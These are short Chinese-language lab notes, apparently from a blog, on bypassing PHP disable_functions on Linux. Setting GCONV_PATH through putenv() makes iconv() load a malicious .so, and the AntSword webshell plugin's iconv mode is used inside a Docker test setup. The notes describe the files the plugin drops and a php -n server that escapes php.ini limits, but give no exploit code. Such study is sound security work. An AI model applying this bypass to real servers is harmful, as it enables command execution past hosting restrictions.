还是利用putenv函数,设置GCONV_PATH环境变量,利用 GCONV_PATH 环境变量, 加载 hack.so, 在 hack.so 中执行命令.

配置与部署

php.ini配置

利用 LD_PRELOAD 环境变量

docker compose up -d

在compose文件里,容器会映射到主机的18081端口

利用

利用条件

  • Linux 操作系统
  • putenv() 函数
  • iconv() 函数
  • 存在可写的目录, 需要上传 .so 文件

相比 LD_PRELOAD 环境, 多禁用了 error_log

蚁剑直接上插件,iconv模式

33

34

使用插件后,进行的文件操作:创建了/tmp/gconv_modules文件夹,上传了/tmp/恶意.so文件,以及蚁剑代理流量到指定端口的php文件

35

进程里,/bin/sh使用php命令开启了一个web服务器,使用-n参数,忽略php.ini的配置文件影响,从而实现了绕过disable_functions的限制

36

以上都是linux系统下利用姿势,对于windows系统,网上看有中调用COM组件的姿势,通过com组件绕过disable_functions限制

暂时没有研究,记录一些文章

参考